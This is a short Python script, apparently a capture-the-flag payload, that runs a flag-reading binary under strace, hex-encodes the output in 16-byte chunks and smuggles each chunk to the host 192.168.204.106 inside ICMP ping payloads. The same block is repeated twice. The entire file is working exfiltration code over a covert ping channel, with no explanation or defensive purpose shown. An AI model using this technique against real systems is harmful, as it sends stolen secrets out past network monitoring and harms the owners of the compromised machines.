<gh_stars>1-10
import subprocess, binascii
s=subprocess.check_output("strace /read_flag", shell=True)
h=binascii.hexlify(s[:16])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[16:32])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[32:48])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[48:64])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[64:80])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[80:96])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)

import subprocess, binascii
s=subprocess.check_output("strace /read_flag", shell=True)
h=binascii.hexlify(s[:16])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[16:32])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[32:48])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[48:64])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[64:80])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
h=binascii.hexlify(s[80:96])
subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)